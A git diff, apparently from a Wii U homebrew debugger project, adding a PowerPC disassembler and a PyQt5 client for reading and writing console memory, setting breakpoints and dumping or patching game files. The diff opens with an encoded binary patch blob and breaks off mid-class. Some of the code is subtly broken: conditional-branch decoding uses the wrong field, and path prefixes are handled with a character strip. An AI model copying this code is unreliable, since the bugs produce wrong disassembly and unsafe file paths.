z%jQy0oG;V!18PK^EzU;AlBYJCL6*p~o&W;!WW|-sBK?>igH@${!;x3On8W&cW;DFszqTnsZd`c2p7iltJR zURqrA?HaD<74haCjN0_Oj{1bC+GQ2#u~xQXoupNDcuespGU<_QWEv zv5mVK;nU+nVI3LLzO42=FI8xSeS9|GHDNb`LKykMyUwUiAj{xm8JzNNxNWvlHpObO zQodB3#tgqSH(d(+u)njrYL|RG?v9_ub*j^XJyA?JjH{cW$Hz%IcgNwg8>Cy{g zFbdjOAB>s2R3DE6iA^|_lIyNq2lP}dH79Ty9sgaax^hiBucc(plL5M1t#>3CDefH} z3GTHc#e62ZZwPKM)Vwc?JdxZ87RXCJ+hAY4R+HLweBOuG6Htd9IfTR zFd5%F45XF<2%Q5_jPvXP3~dhrgwA-FTAW_NZ%@qc1;*UQ9LhlTmhCo%V|_CvfmL#v zlKug5sT?;roP#?e%hb}-#*74^v%l7>JT}1!=Ile{(0z8cQ=2J_K;t&2#9^}33@>CS z4uS@aTe<+a1>2kjs53Fa!FR$P!1e%HhpI7ma0idazCz8bT$u^jg;T#&tYuXqi0FaO zV#5-RzO`IPpS20Yc$25joaqqUQs|?&f*t^I=s-E=4oCY}R{)>Br2-m8TSK(eL`ahr zXV)i*Jpz&~K`bL{ryS(!Nn8!T(uu&npQ8-5jLNY80}~>Q2E6oCha9LU){x^vcg9qy z7__`mjTn4j^4l>8dX~a>I3xSl9UwI2t_Toi1PIGT`RXAebS5==X@Ibg;kgb6!)!tY z@H}obL&P|lYK91ghd9j6qOs--K{RmW2B0hbNFNNxk1z&YPfNL{kvIm?K+Iq$_E0w< zMj-kzYA{M@vCxPRb*=Z9FKg);Bo@TLQs_)0B(UO5WR*-*gmNN4Zr>O1C{N#n`><-3L%`$4?+~qji$t;{aj0Sca+*zRt%;Bqwu4Is3l^N?8CgN;+!VdAwqg)7K^YR7#1n;)5*rp28?t zC@(D5HqJK74lR(PQkH7Yd!ajP6X8Wo(QW{EKDfcv2z^w4kAvEX{qdwD?{Oh=4volL z;Qdo;)S~b$$TMcKm%xG}iYe%$SZfp=95*3hAr0Y{i?!Z_cnGCj>8@3IMEUwzJP`@K zO1=&~j9UBx9!bP{6?hVTKSzUEil;J_mTzV<+hU({G@3r`Hd7f&ueW4~jdq?gG*d&H z(dgf+8m(!ldsa6TlA5k05?-j1Bn_2;N=s{4%8iy8i4{hNkwWjemDOQL+n0)OQbZb@ z=|GLdJlJNWIH2vpowk4mpM$5Nc1PUO)XY4l!Mc5Q(KTDHmTJq*EZxWypLhv z$enchtd^oP(GcIjlgZ`93u`jFo6O?joCX3cZ=+QaS=I$y%qrFxt%XpSHnTH9wbsdE z!NaoWU~8Uh`%p)uwHHA1+bs^c_SC+cs1qx+c*T}fr)oOpv0a_%xdj{Ra*hi(fTk`F zfPUoB>f5X7GKKfQ(_&NCX&2G{fZ5EjIwXI}!A? z3_A*Ak2B3;8831<%NhV`jtVkPR!@dlkl~5646quLc!`#93)l!+%>&fDg}ISHSIF4! z><$)fw0Duu=prUeqvv!*e@+(F4q*me<)wu%h2IX33DXO6==~lB4mJV^Y6}lrPr0bJ zcnLkL%gWSuYgr#i>|JOHnvfXtfD%LSro?SdrV>NgYExL(z6hF8VU>wy>=ZjbL7>z2 zlf*6&^v7TT7=)}s$R7di5VDV@=QR4`fXcuc8*~#In6_kE;xf>k2ven*8VU&}`Fymu z7X`d_vX*t*pW_N}iMHCv#9?hKZpUPhN^f9`gqsgo$)-wkCUoZ3L2MR-`~|Lv7+dd$ zSYQp_Tn9NHkNss#j;%Iw>rmms@;b=OVc@@t$*^_1WR}-ssd)_i*D)EkZjX$Ie802~ zabCvAKaT0J70)hu1Ea}t-W~#oJt9gMm~1z^$S>f5>C*DFy#k8d-a-P?pvxVyXpO1U zp~D-CxcfJ_A_rmXebT0|w@3OF5c}JhG+S+?S;VN=ToqxaA;oid3rBeEyK`+B9)SZ> zCCdJYntBf}CTbW2k5-myX8f90LFel0^h6o3cIv9wOMeG88#O@A+38s9zqkB_!o+qQ zM#b-H4+na!;u$d!TX~SBy&l8a%P>X?Q{~EHn5tOaq|>cZfRO+(NcVYH z6kx5g<~h9H5f$wM`u-kQTz%!ZCSY&u{B6Q;D|l65Vl%DEJfawMj-4HB@&3#_a}oIu zv$)ioe(EIoU9oY1>;uL}uV6iP7J7a30_G8n{^b%1@jYb3bu#)ZO+9CwW(k5cV+k z^iW?jW?+sL_oBe1XW3pp++{0`hln*^#5O_nVi&MRAA8CRptz-DFpP)jy%U4wlea&MAp^Fj8vQZFlZ=x1*}t z;p_s=_Ab|2JRMIR7CyXm>Tu@|ff(~+jNXoo41A}6Q+G@QZVvI#J*BJkM2Q-@L3HwQ zvyzC(=U;F&!sjMN9QL)bkwS;Ev1a`hRA<(aZ4s>GUr7v?Shm{8tf&6+g6f=EZ%woW z3jc;HqQ}{U?s_n01Aw@oh%`GTeO3b+gs{}B^ptBv3-?FMbGtLnRgk^eKM z!`AK5Nd?vQ6qi>q@K0khY~3Cih_k$&s;`ET|0|}$R$KWKR|~hS`ap0dQF+C|V(p^u z(;)WWF=@8mKk4P$BaQeW{}YpDtBrJ=rticZ1R6|FJQLTt2s_7aH0oWR=t0%9SE8>I z;-YsQ@?Xc`{~I&GR?Gxzn>Ylp97d8x<^U`DO+l3850N88J|=YFSkgCfhC(n5wz;Us zNh}Hsk0%I`AVWN>NB&3pW&TG=r;EBMMRg^2e4;OEhQUC=tJ>+s#wx#x-Ky3u5SIG= zym_hP(}aAw;GRF*+7{AW+`mHTuR-WK*AjLIF_wJxX<~f@n+diMYz2tEJfm0F8Ncgy5!_9%n_z@s55azd zj}ef^I#*Nm2MHb`Xgh{yScqdd~Z`Y;MP__`EzJ!g@N38A6$hJG=`Ig;Xb z73K}&)^Ro`aUpgMaoL>KgUzUo$F}zm@@7Vc^s_Mgc~GyVMn^|A47}?M+pnW1ioIT# zOPV6|^fMylTZ^qKzl@!TZFn}!;^PJD2SFhdJ#9JRJ3VfLDaPMco}&#m;vqrl%5~^g zd;y2r@Q3J`$RD%!^L>`L_A>-85->hR$F2-gI^|o3(t1XzJ9N55Vh{6?#|il1hNZgg z7{NHfQv_!SCJ4?FJVP)^aGv0Kf)@xb5L_fE5WGY%O)x_+OW+gC5zG_3Oh7y0%o*S^ z!2&^> 2) & 0xFFFFFF, (value >> 1) & 1, value & 1 + +def decodeB(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, (value >> 2) & 0x3FFF, (value >> 1) & 1, value & 1 + +def decodeD(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, value & 0xFFFF + +def decodeX(value): + return (value >> 21) & 0x1F, (value >> 16) & 0x1F, (value >> 11) & 0x1F, (value >> 1) & 0x3FF, value & 1 + +def extend_sign(value, bits=16): + if value & 1 << (bits - 1): + value -= 1 << bits + return value + +def ihex(value): + return "-" * (value < 0) + "0x" + hex(value).lstrip("-0x").rstrip("L").zfill(1).upper() + +def decodeCond(BO, BI): + #TODO: Better condition code + if BO == 20: return "" + if BO & 1: return "?" + if BI > 2: return "?" + if BO == 4: return condition_table_false[BI] + if BO == 12: return condition_table_true[BI] + return "?" + +def loadStore(value, regtype="r"): + D, A, d = decodeD(value) + d = extend_sign(d) + return "%s%i, %s(r%i)" %(regtype, D, ihex(d), A) + +def loadStoreX(D, A, B, pad): + if pad: return "" + return "r%i, %s, r%i" %(D, ("r%i" %A) if A else "0", B) + +def add(D, A, B, Rc): + return "add%s" %("." * Rc), "r%i, r%i, r%i" %(D, A, B) + +def addi(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if A == 0: + return "li", "r%i, %s" %(D, ihex(SIMM)) + return "addi", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addic(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + return "addic", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addic_(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + return "addic.", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def addis(value, addr): + D, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if A == 0: + return "lis", "r%i, %s" %(D, ihex(SIMM)) + return "addis", "r%i, r%i, %s" %(D, A, ihex(SIMM)) + +def and_(S, A, B, Rc): + return "and%s" % ("." * Rc), "r%i, r%i, r%i" % (A, S, B) + +def b(value, addr): + LI, AA, LK = decodeI(value) + LI = extend_sign(LI, 24) * 4 + if AA: + dst = LI + else: + dst = addr + LI + return "b%s%s" %("l" * LK, "a" * AA), ihex(dst) + +def bc(value, addr): + BO, BI, BD, AA, LK = decodeB(value) + LI = extend_sign(LK, 14) * 4 + instr = "b" + decodeCond(BO, BI) + if LK: instr += "l" + if AA: + instr += "a" + dst = LI + else: + dst = addr + LI + return instr, ihex(dst) + +def bcctr(BO, BI, pad, LK): + if pad: return "" + instr = "b" + decodeCond(BO, BI) + "ctr" + if LK: + instr += "l" + return instr + +def bclr(BO, BI, pad, LK): + if pad: return "" + instr = "b" + decodeCond(BO, BI) + "lr" + if LK: + instr += "l" + return instr + +def cmp(cr, A, B, pad): + if pad: return "" + if cr & 3: + return "" + return "cmp", "cr%i, r%i, r%i" %(cr >> 2, A, B) + +def cmpi(value, addr): + cr, A, SIMM = decodeD(value) + SIMM = extend_sign(SIMM) + if cr & 3: + return "" + return "cmpwi", "cr%i, r%i, %s" %(cr >> 2, A, ihex(SIMM)) + +def cmpl(cr, A, B, pad): + if pad: return "" + if cr & 3: + return "" + return "cmplw", "cr%i, r%i, r%i" %(cr >> 2, A, B) + +def cmpli(value, addr): + cr, A, UIMM = decodeD(value) + if cr & 3: + return "" + return "cmplwi", "cr%i, r%i, %s" %(cr >> 2, A, ihex(UIMM)) + +def cntlzw(S, A, pad, Rc): + if pad: return "" + return "cntlzw%s" %("." * Rc), "r%i, r%i" %(A, S) + +def dcbst(pad1, A, B, pad2): + if pad1 or pad2: return "" + return "dcbst", "r%i, r%i" %(A, B) + +def fmr(D, pad, B, Rc): + if pad: return "" + return "fmr%s" %("." * Rc), "f%i, f%i" %(D, B) + +def fneg(D, pad, B, Rc): + if pad: return "" + return "fneg%s" %("." * Rc), "f%i, f%i" %(D, B) + +def mfspr(D, sprLo, sprHi, pad): + if pad: return "" + sprnum = (sprHi << 5) | sprLo + if sprnum not in spr_table: + spr = "?" + else: + spr = spr_table[sprnum] + return "mf%s" %spr, "r%i" %D + +def mtspr(S, sprLo, sprHi, pad): + if pad: return "" + sprnum = (sprHi << 5) | sprLo + if sprnum not in spr_table: + spr = ihex(sprnum) + else: + spr = spr_table[sprnum] + return "mt%s" %spr, "r%i" %S + +def lbz(value, addr): return "lbz", loadStore(value) +def lfd(value, addr): return "lfd", loadStore(value, "f") +def lfs(value, addr): return "lfs", loadStore(value, "f") +def lmw(value, addr): return "lmw", loadStore(value) +def lwz(value, addr): return "lwz", loadStore(value) +def lwzu(value, addr): return "lwzu", loadStore(value) +def lwarx(D, A, B, pad): return "lwarx", loadStoreX(D, A, B, pad) +def lwzx(D, A, B, pad): return "lwzx", loadStoreX(D, A, B, pad) + +def or_(S, A, B, Rc): + if S == B: + return "mr%s" %("." * Rc), "r%i, r%i" %(A, S) + return "or%s" %("." * Rc), "r%i, r%i, r%i" %(A, S, B) + +def ori(value, addr): + S, A, UIMM = decodeD(value) + if UIMM == 0: + return "nop" + return "ori", "r%s, r%s, %s" %(A, S, ihex(UIMM)) + +def oris(value, addr): + S, A, UIMM = decodeD(value) + return "oris", "r%s, r%s, %s" %(A, S, ihex(UIMM)) + +def rlwinm(value, addr): + S, A, SH, M, Rc = decodeX(value) + MB = M >> 5 + ME = M & 0x1F + dot = "." * Rc + if SH == 0 and MB == 0 and ME == 31: + return "nop" + if MB == 0 and ME == 31 - SH: + return "slwi%s" %dot, "r%i, r%i, %i" %(A, S, SH) + if ME == 31 and SH == 32 - MB: + return "srwi%s" %dot, "r%i, r%i, %i" %(A, S, MB) + if MB == 0 and ME < 31: + return "extlwi%s" %dot, "r%i, r%i, %i,%i" %(A, S, ME + 1, SH) + #extrwi + if MB == 0 and ME == 31: + if SH >= 16: + return "rotlwi%s" %dot, "r%i, r%i, %i" %(A, S, SH) + return "rotrwi%s" %dot, "r%i, r%i, %i" %(A, S, 32 - SH) + if SH == 0 and ME == 31: + return "clrlwi%s" %dot, "r%i, r%i, %i" %(A, S, MB) + if SH == 0 and MB == 0: + return "clrrwi%s" %dot, "r%i, r%i, %i" %(A, S, 31 - ME) + #clrlslwi + return "rlwinm%s" %dot, "r%i, r%i, %i,%i,%i" %(A, S, SH, MB, ME) + +def sc(value, addr): + if value & 0x3FFFFFF != 2: + return "" + return "sc" + +def stb(value, addr): return "stb", loadStore(value) +def stfd(value, addr): return "stfd", loadStore(value, "f") +def stfs(value, addr): return "stfs", loadStore(value, "f") +def stfsu(value, addr): return "stfsu", loadStore(value, "f") +def stmw(value, addr): return "stmw", loadStore(value) +def stw(value, addr): return "stw", loadStore(value) +def stwu(value, addr): return "stwu", loadStore(value) +def stbx(S, A, B, pad): return "stbx", loadStoreX(S, A, B, pad) +def stwx(S, A, B, pad): return "stwx", loadStoreX(S, A, B, pad) +def stwcx(S, A, B, pad): return "stwcx", loadStoreX(S, A, B, pad ^ 1) + +def tw(TO, A, B, pad): + if pad: return "" + if TO == 31 and A == 0 and B == 0: + return "trap" + + if TO not in trap_condition_table: + condition = "?" + else: + condition = trap_condition_table[TO] + return "tw%s" %condition, "r%i, r%i" %(A, B) + +opcode_table_ext1 = { + 16: bclr, + 528: bcctr +} + +opcode_table_ext2 = { + 0: cmp, + 4: tw, + 20: lwarx, + 23: lwzx, + 26: cntlzw, + 28: and_, + 32: cmpl, + 54: dcbst, + 150: stwcx, + 151: stwx, + 215: stbx, + 266: add, + 339: mfspr, + 444: or_, + 467: mtspr +} + +opcode_table_float_ext1 = { + 40: fneg, + 72: fmr +} + +def ext1(value, addr): + DS, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_ext1: + return "ext1 - %s" %bin(XO) + return opcode_table_ext1[XO](DS, A, B, Rc) + +def ext2(value, addr): + DS, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_ext2: + return "ext2 - %s" %bin(XO) + return opcode_table_ext2[XO](DS, A, B, Rc) + +def float_ext1(value, addr): + D, A, B, XO, Rc = decodeX(value) + if not XO in opcode_table_float_ext1: + return "float_ext1 - %s" %bin(XO) + return opcode_table_float_ext1[XO](D, A, B, Rc) + +opcode_table = { + 10: cmpli, + 11: cmpi, + 12: addic, + 13: addic_, + 14: addi, + 15: addis, + 16: bc, + 17: sc, + 18: b, + 19: ext1, + 21: rlwinm, + 24: ori, + 25: oris, + 31: ext2, + 32: lwz, + 33: lwzu, + 34: lbz, + 36: stw, + 37: stwu, + 38: stb, + 46: lmw, + 47: stmw, + 48: lfs, + 50: lfd, + 52: stfs, + 53: stfsu, + 54: stfd, + 63: float_ext1 +} + +def disassemble(value, address): + opcode = value >> 26 + if opcode not in opcode_table: + return "???" + instr = opcode_table[opcode](value, address) + if type(instr) == str: + return instr + return instr[0] + " " * (10 - len(instr[0])) + instr[1] diff --git a/diibugger/main.py b/diibugger/main.py new file mode 100644 index 0000000..444651e --- /dev/null +++ b/diibugger/main.py @@ -0,0 +1,1241 @@ + +from PyQt5.QtCore import * +from PyQt5.QtGui import * +from PyQt5.QtWidgets import * +import sys, struct, socket, time, os + +import disassemble + + +class Message: + DSI = 0 + ISI = 1 + Program = 2 + GetStat = 3 + OpenFile = 4 + ReadFile = 5 + CloseFile = 6 + SetPosFile = 7 + GetStatFile = 8 + + Continue = 0 + Step = 1 + StepOver = 2 + + def __init__(self, type, data, arg): + self.type = type + self.data = data + self.arg = arg + + +class EventHolder(QObject): + Exception = pyqtSignal() + Connected = pyqtSignal() + Closed = pyqtSignal() + BreakPointChanged = pyqtSignal() + Continue = pyqtSignal() +events = EventHolder() + + +#I don't want to deal with the whole threading trouble to complete big +#file transfers without the UI becoming unresponsive. There probably is +#a better way to code this, but this is what I came up with. +class TaskMgr: + def __init__(self): + self.taskQueue = [] + + def add(self, task): + if not self.taskQueue: + window.mainWidget.statusWidget.disconnectButton.setEnabled(True) + self.taskQueue.append(task) + + def pop(self, task): + assert task == self.taskQueue.pop() + + if not self.taskQueue: + window.mainWidget.tabWidget.setEnabled(True) + window.mainWidget.statusWidget.cancelButton.setEnabled(True) + window.mainWidget.statusWidget.disconnectButton.setEnabled(True) + window.mainWidget.statusWidget.progressBar.setValue(0) + window.mainWidget.statusWidget.progressInfo.setText("Connected") + else: + self.taskQueue[-1].resume() + + def isBlocking(self): + if not self.taskQueue: + return False + return self.taskQueue[-1].blocking + + def cancel(self): + self.taskQueue[-1].canceled = True +taskMgr = TaskMgr() + + +class Task: + def __init__(self, blocking, cancelable): + taskMgr.add(self) + + self.canceled = False + self.blocking = blocking + self.cancelable = cancelable + window.mainWidget.tabWidget.setEnabled(not blocking) + window.mainWidget.statusWidget.cancelButton.setEnabled(cancelable) + + def setInfo(self, info, maxValue): + self.info = info + self.maxValue = maxValue + window.mainWidget.statusWidget.progressInfo.setText(info) + window.mainWidget.statusWidget.progressBar.setRange(0, maxValue) + + def update(self, progress): + self.progress = progress + window.mainWidget.statusWidget.progressBar.setValue(progress) + app.processEvents() + + def resume(self): + window.mainWidget.tabWidget.setEnabled(not self.blocking) + window.mainWidget.statusWidget.cancelButton.setEnabled(self.cancelable) + window.mainWidget.statusWidget.progressInfo.setText(self.info) + window.mainWidget.statusWidget.progressBar.setRange(0, self.maxValue) + window.mainWidget.statusWidget.progressBar.setValue(self.progress) + + def end(self): + taskMgr.pop(self) + + +class Thread: + + cores = { + 1: "Core 0", + 2: "Core 1", + 4: "Core 2" + } + + def __init__(self, data, offs=0): + self.core = self.cores[struct.unpack_from(">I", data, offs)[0]] + self.priority = struct.unpack_from(">I", data, offs + 4)[0] + self.stackBase = struct.unpack_from(">I", data, offs + 8)[0] + self.stackEnd = struct.unpack_from(">I", data, offs + 12)[0] + self.entryPoint = struct.unpack_from(">I", data, offs + 16)[0] + + namelen = struct.unpack_from(">I", data, offs + 20)[0] + self.name = data[offs + 24 : offs + 24 + namelen].decode("ascii") + + +class DirEntry: + def __init__(self, flags, size, name): + self.flags = flags + self.size = size + self.name = name + + def isDir(self): + return self.flags & 0x80000000 + + +class PyBugger: + def __init__(self): + super().__init__() + self.connected = False + self.breakPoints = [] + + self.basePath = b"" + self.currentHandle = 0x12345678 + self.files = {} + + self.messageHandlers = { + Message.DSI: self.handleException, + Message.ISI: self.handleException, + Message.Program: self.handleException, + Message.GetStat: self.handleGetStat, + Message.OpenFile: self.handleOpenFile, + Message.ReadFile: self.handleReadFile, + Message.CloseFile: self.handleCloseFile, + Message.SetPosFile: self.handleSetPosFile, + Message.GetStatFile: self.handleGetStatFile + } + + def handleException(self, msg): + exceptionState.load(msg.data, msg.type) + events.Exception.emit() + + def handleGetStat(self, msg): + gamePath = msg.data.decode("ascii") + path = os.path.join(self.basePath, gamePath.strip("/vol")) + print("GetStat: %s" %gamePath) + self.sendFileMessage(os.path.getsize(path)) + + def handleOpenFile(self, msg): + mode = struct.pack(">I", msg.arg).decode("ascii").strip("\x00") + "b" + path = msg.data.decode("ascii") + print("Open: %s" %path) + + f = open(os.path.join(self.basePath, path.strip("/vol")), mode) + self.files[self.currentHandle] = f + self.sendFileMessage(self.currentHandle) + self.currentHandle += 1 + + def handleReadFile(self, msg): + print("Read") + task = Task(blocking=False, cancelable=False) + bufferAddr, size, count, handle = struct.unpack(">IIII", msg.data) + + data = self.files[handle].read(size * count) + task.setInfo("Sending file", len(data)) + + bytesSent = 0 + while bytesSent < len(data): + length = min(len(data) - bytesSent, 0x8000) + self.sendall(b"\x03") + self.sendall(struct.pack(">II", bufferAddr, length)) + self.sendall(data[bytesSent : bytesSent + length]) + bufferAddr += length + bytesSent += length + task.update(bytesSent) + self.sendFileMessage(bytesSent // size) + task.end() + + def handleCloseFile(self, msg): + print("Close") + self.files.pop(msg.arg).close() + self.sendFileMessage() + + def handleSetPosFile(self, msg): + print("SetPos") + handle, pos = struct.unpack(">II", msg.data) + self.files[handle].seek(pos) + self.sendFileMessage() + + def handleGetStatFile(self, msg): + print("GetStatFile") + f = self.files[msg.arg] + pos = f.tell() + f.seek(0, 2) + size = f.tell() + f.seek(pos) + self.sendFileMessage(size) + + def connect(self, host): + self.s = socket.socket() + self.s.connect((host, 1559)) + self.connected = True + self.closeRequest = False + events.Connected.emit() + + def close(self): + self.sendall(b"\x01") + self.s.close() + self.connected = False + self.breakPoints = [] + events.Closed.emit() + + def updateMessages(self): + self.sendall(b"\x07") + count = struct.unpack(">I", self.recvall(4))[0] + for i in range(count): + type, ptr, length, arg = struct.unpack(">IIII", self.recvall(16)) + data = None + if length: + data = self.recvall(length) + self.messageHandlers[type](Message(type, data, arg)) + + def read(self, addr, num): + self.sendall(b"\x02") + self.sendall(struct.pack(">II", addr, num)) + data = self.recvall(num) + return data + + def write(self, addr, data): + self.sendall(b"\x03") + self.sendall(struct.pack(">II", addr, len(data))) + self.sendall(data) + + def writeCode(self, addr, instr): + self.sendall(b"\x04") + self.sendall(struct.pack(">II", addr, instr)) + + def getThreadList(self): + self.sendall(b"\x05") + length = struct.unpack(">I", self.recvall(4))[0] + data = self.recvall(length) + + offset = 0 + threads = [] + while offset < length: + thread = Thread(data, offset) + threads.append(thread) + offset += 24 + len(thread.name) + return threads + + def toggleBreakPoint(self, addr): + if addr in self.breakPoints: self.breakPoints.remove(addr) + else: + if len(self.breakPoints) >= 10: + return + self.breakPoints.append(addr) + + self.sendall(b"\x0A") + self.sendall(struct.pack(">I", addr)) + events.BreakPointChanged.emit() + + def continueBreak(self): self.sendCrashMessage(Message.Continue) + def stepBreak(self): self.sendCrashMessage(Message.Step) + def stepOver(self): self.sendCrashMessage(Message.StepOver) + + def sendCrashMessage(self, message): + self.sendMessage(message) + events.Continue.emit() + + def sendMessage(self, message, data0=0, data1=0, data2=0): + self.sendall(b"\x06") + self.sendall(struct.pack(">IIII", message, data0, data1, data2)) + + def sendFileMessage(self, data0=0, data1=0, data2=0): + self.sendall(b"\x0F") + self.sendall(struct.pack(">IIII", 0, data0, data1, data2)) + + def getStackTrace(self): + self.sendall(b"\x08") + count = struct.unpack(">I", self.recvall(4))[0] + trace = struct.unpack(">%iI" %count, self.recvall(4 * count)) + return trace + + def pokeExceptionRegisters(self): + self.sendall(b"\x09") + data = struct.pack(">32I32d", *exceptionState.gpr, *exceptionState.fpr) + self.sendall(data) + + def readDirectory(self, path): + self.sendall(b"\x0B") + self.sendall(struct.pack(">I", len(path))) + self.sendall(path.encode("ascii")) + + entries = [] + namelen = struct.unpack(">I", self.recvall(4))[0] + while namelen != 0: + flags = struct.unpack(">I", self.recvall(4))[0] + + size = -1 + if not flags & 0x80000000: + size = struct.unpack(">I", self.recvall(4))[0] + + name = self.recvall(namelen).decode("ascii") + entries.append(DirEntry(flags, size, name)) + + namelen = struct.unpack(">I", self.recvall(4))[0] + return entries + + def dumpFile(self, gamePath, outPath, task): + if task.canceled: + return + + self.sendall(b"\x0C") + self.sendall(struct.pack(">I", len(gamePath))) + self.sendall(gamePath.encode("ascii")) + + length = struct.unpack(">I", self.recvall(4))[0] + task.setInfo("Dumping %s" %gamePath, length) + + with open(outPath, "wb") as f: + bytesDumped = 0 + while bytesDumped < length: + data = self.s.recv(length - bytesDumped) + f.write(data) + bytesDumped += len(data) + task.update(bytesDumped) + + def getModuleName(self): + self.sendall(b"\x0D") + length = struct.unpack(">I", self.recvall(4))[0] + return self.recvall(length).decode("ascii") + ".rpx" + + def setPatchFiles(self, fileList, basePath): + self.basePath = basePath + self.sendall(b"\x0E") + + fileBuffer = struct.pack(">I", len(fileList)) + for path in fileList: + fileBuffer += struct.pack(">H", len(path)) + fileBuffer += path.encode("ascii") + + self.sendall(struct.pack(">I", len(fileBuffer))) + self.sendall(fileBuffer) + + def clearPatchFiles(self): + self.sendall(b"\x10") + + def sendall(self, data): + try: + self.s.sendall(data) + except socket.error: + self.connected = False + events.Closed.emit() + + def recvall(self, num): + try: + data = b"" + while len(data) < num: + data += self.s.recv(num - len(data)) + except socket.error: + self.connected = False + events.Closed.emit() + return b"\x00" * num + + return data + + +class HexSpinBox(QAbstractSpinBox): + def __init__(self, parent, stepSize = 1): + super().__init__(parent) + self._value = 0 + self.stepSize = stepSize + + def validate(self, text, pos): + if all([char in "0123456789abcdefABCDEF" for char in text]): + if not text: + return QValidator.Intermediate, text.upper(), pos + + value = int(text, 16) + if value <= 0xFFFFFFFF: + self._value = value + if value % self.stepSize: + self._value -= value % self.stepSize + return QValidator.Acceptable, text.upper(), pos + return QValidator.Acceptable, text.upper(), pos + + return QValidator.Invalid, text.upper(), pos + + def stepBy(self, steps): + self._value = min(max(self._value + steps * self.stepSize, 0), 0x100000000 - self.stepSize) + self.lineEdit().setText("%X" %self._value) + + def stepEnabled(self): + return QAbstractSpinBox.StepUpEnabled | QAbstractSpinBox.StepDownEnabled + + def setValue(self, value): + self._value = value + self.lineEdit().setText("%X" %self._value) + + def value(self): + return self._value + + +class ExceptionState: + + exceptionNames = ["DSI", "ISI", "Program"] + + def load(self, context, type): + #Convert tuple to list to make it mutable + self.gpr = list(struct.unpack_from(">32I", context, 8)) + self.cr, self.lr, self.ctr, self.xer = struct.unpack_from(">4I", context, 0x88) + self.srr0, self.srr1, self.ex0, self.ex1 = struct.unpack_from(">4I", context, 0x98) + self.fpr = list(struct.unpack_from(">32d", context, 0xB8)) + self.gqr = list(struct.unpack_from(">8I", context, 0x1BC)) + self.psf = list(struct.unpack_from(">32d", context, 0x1E0)) + + self.exceptionName = self.exceptionNames[type] + + def isBreakPoint(self): + return self.exceptionName == "Program" and self.srr1 & 0x20000 + + +def format_hex(blob, offs): + return "%02X" %blob[offs] + +def format_ascii(blob, offs): + if 0x30 <= blob[offs] <= 0x39 or 0x41 <= blob[offs] <= 0x5A or 0x61 <= blob[offs] <= 0x7A: + return chr(blob[offs]) + return "?" + +def format_float(blob, offs): + value = struct.unpack_from(">f", blob, offs)[0] + if abs(value) >= 1000000 or 0 < abs(value) < 0.000001: + return "%e" %value + return ("%.8f" %value).rstrip("0") + + +class MemoryViewer(QWidget): + + class Format: + Hex = 0 + Ascii = 1 + Float = 2 + + Width = 1, 1, 4 + Funcs = format_hex, format_ascii, format_float + + def __init__(self, parent): + super().__init__(parent) + + self.layout = QGridLayout() + + for i in range(16): + self.layout.addWidget(QLabel("%X" %i, self), 0, i + 1) + self.addrLabels = [] + for i in range(16): + label = QLabel("%X" %(i * 0x10), self) + self.layout.addWidget(label, i + 1, 0) + self.addrLabels.append(label) + self.dataCells = [] + + self.base = 0 + self.format = self.Format.Hex + self.updateData() + + self.setLayout(self.layout) + + events.Connected.connect(self.connected) + + def connected(self): + self.setBase(0x10000000) + + def setFormat(self, format): + self.format = format + self.updateData() + + def setBase(self, base): + window.mainWidget.tabWidget.memoryTab.memoryInfo.baseBox.setValue(base) + self.base = base + for i in range(16): + self.addrLabels[i].setText("%X" %(self.base + i * 0x10)) + self.updateData() + + def updateData(self): + for cell in self.dataCells: + self.layout.removeWidget(cell) + cell.setParent(None) + + if bugger.connected: + blob = bugger.read(self.base, 0x100) + else: + blob = b"\x00" * 0x100 + + width = self.Width[self.format] + func = self.Funcs[self.format] + for i in range(16 // width): + for j in range(16): + label = QLabel(func(blob, j * 0x10 + i * width), self) + self.layout.addWidget(label, j + 1, i * width + 1, 1, width) + self.dataCells.append(label) + + +class MemoryInfo(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.dataTypeLabel = QLabel("Data type:") + self.dataTypeBox = QComboBox(self) + self.dataTypeBox.addItems(["Hex", "Ascii", "Float"]) + self.dataTypeBox.currentIndexChanged.connect(self.updateDataType) + + self.baseLabel = QLabel("Address:") + self.baseBox = HexSpinBox(self, 0x10) + self.baseButton = QPushButton("Update", self) + self.baseButton.clicked.connect(self.updateMemoryBase) + + self.pokeAddr = HexSpinBox(self, 4) + self.pokeValue = HexSpinBox(self) + self.pokeButton = QPushButton("Poke", self) + self.pokeButton.clicked.connect(self.pokeMemory) + + self.layout = QGridLayout() + self.layout.addWidget(self.baseLabel, 0, 0) + self.layout.addWidget(self.baseBox, 0, 1) + self.layout.addWidget(self.baseButton, 0, 2) + self.layout.addWidget(self.pokeAddr, 1, 0) + self.layout.addWidget(self.pokeValue, 1, 1) + self.layout.addWidget(self.pokeButton, 1, 2) + self.layout.addWidget(self.dataTypeLabel, 2, 0) + self.layout.addWidget(self.dataTypeBox, 2, 1, 1, 2) + self.setLayout(self.layout) + + def updateDataType(self, index): + window.mainWidget.tabWidget.memoryTab.memoryViewer.setFormat(index) + + def updateMemoryBase(self): + window.mainWidget.tabWidget.memoryTab.memoryViewer.setBase(self.baseBox.value()) + + def pokeMemory(self): + bugger.write(self.pokeAddr.value(), struct.pack(">I", self.pokeValue.value())) + window.mainWidget.tabWidget.memoryTab.memoryViewer.updateData() + + +class MemoryTab(QWidget): + def __init__(self, parent): + super().__init__(parent) + self.memoryInfo = MemoryInfo(self) + self.memoryViewer = MemoryViewer(self) + self.layout = QHBoxLayout() + self.layout.addWidget(self.memoryInfo) + self.layout.addWidget(self.memoryViewer) + self.button = QPushButton("Dump", self) + self.button.clicked.connect(self.dump) + self.setLayout(self.layout) + + def dump(self): + dumpStart = 0x1AB00000 + dumpLength = 0x600000 + dumpFile = "dump.bin" + with open(dumpFile, 'wb') as f: + f.write(bugger.read(dumpStart, dumpLength)) + +class DisassemblyWidget(QTextEdit): + def __init__(self, parent): + super().__init__(parent) + 